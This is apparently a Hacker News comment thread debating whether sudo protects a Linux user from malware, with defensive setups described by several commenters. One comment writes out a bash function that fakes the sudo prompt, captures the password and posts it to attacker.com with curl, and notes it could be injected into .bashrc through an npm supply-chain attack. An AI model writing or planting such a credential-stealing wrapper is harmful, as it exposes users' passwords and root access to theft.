Remix.run Logo
eqvinox 2 hours ago

[On Linux:]

If you didn't give yourself "free" (passwordless) sudo, that's not necessary…

…unless it happened in a week with 2 and a half Linux kernel LPEs.

lrvick an hour ago | parent | next [-]

Sudo is security theater.

Malware can make a fake unprivileged sudo that sniffs your password.

function sudo () {

    realsudo=$(which sudo);

    read -r -s -p "[sudo] password for $USER: " password;

    echo "$USER: $password" | \

        curl -F 'p=<-' https://attacker.com >/dev/null 2>&1;

    $realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1;

    $realsudo "${@:1}";

}
nazcan an hour ago | parent | next [-]

To clarify, when does this run? Like you download malware A, run malware A and this function definition changes sudo for it, or sudo for other cases?

lrvick an hour ago | parent [-]

This could for instance be injected into your .bashrc when you do an "npm install" of a package that has a deeply nested supply chain attack.

Then the next time you run sudo, phase2 triggers installing a rootkit, etc.

Ferret7446 24 minutes ago | parent | next [-]

That is one of many reasons to keep your dotfiles under version control.

lpribis 14 minutes ago | parent [-]

How would that help? Unless you happen to check the dotfiles git diff before running _anything_. I guess this could be put in prompt or some cron job to detect diffs but I bet absolutely nobody does this.

arcfour 43 minutes ago | parent | prev [-]

Or you could also hijack it using $PATH search order with your wrapper to get existing terminal sessions too, there's a lot of ways to skin that cat.

lrvick 31 minutes ago | parent [-]

Endless ways, which is why I do not understand why sudo is ever used anymore, especially in production.

You do not need root to do anything in Linux these days anyway between Namespaces and Capabilities so there is really no reason for root to be accessible at all or have any processes running as root post boot.

TacticalCoder 28 minutes ago | parent | prev | next [-]

> Sudo is security theater.

Yes indeed.

> Malware can make a fake unprivileged sudo that sniffs your password.

Not on my Linux workstation though. No sudo command installed. Not a single setuid binary. Not even su. So basically only root can use su and nobody else.

Only way to log in at root is either by going to tty2 (but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so login from tty2 ain't really an option) or by login in from another computer, using a Yubikey (no password login allowed). That other computer is on a dedicated LAN (a physical LAN, not a VLAN) that exists only for the purpose of allowing root to ssh in (yes, I do allow root to SSH in: but only with using U2F/Yubikey... I have to as it's the only real way to log in as root).

It is what it is and this being HN people are going to bitch that it's bad, insecure, inconvenient (people typically love convenience at the expense of security), etc. but I've been using basically that setup since years. When I need to really be root (which is really not often), I use a tiny laptop on my desk that serves as a poor admin's console (but over SSH and only with a Yubikey, so it'd be quite a feat to attack that).

Funnily enough last time I logged in as root (from the laptop) was to implement the workaround to blacklist all the modules for copy.fail/dirtyfrag.

That laptop doesn't even have any Wifi driver installed. No graphical interface. It's minimal. It's got a SSH client, a firewall (and so does the workstation) and that's basically it. As it's on a separate physical LAN, no other machine can see it on the network.

I did set that up just because I could. Turns out it's fully usable so I kept using it.

Now of course I've got servers, VMs, containers, etc. at home too (and on dedicated servers): that's another topic. But on my main workstation a sudo replacement function won't trick me.

jcgrillo 12 minutes ago | parent [-]

Thanks for sharing this, that seems like a very cool setup. I have a very old good-for-almost-nothing laptop that would be perfect for this, might just have to copy you!

nullsanity an hour ago | parent | prev [-]

[dead]

Gigachad 2 hours ago | parent | prev | next [-]

On linux realistically whatever user you installed the malicious NPM package with has access to everything you care about anyway.

lrvick an hour ago | parent [-]

Every user, since privesc is so easy on most operating systems.

Gigachad an hour ago | parent [-]

Sure, without exploits they can steal your api keys, read your personal data, and access your browser data. With exploits they can update packages on your computer too.

lights0123 2 hours ago | parent | prev | next [-]

Until it overrides sudo in your $PATH to install malware after you enter your password later.

dgellow 2 hours ago | parent | prev | next [-]

You should assume other LPEs exist though

stogot an hour ago | parent | prev [-]

There numerous ways to root Linux over the decades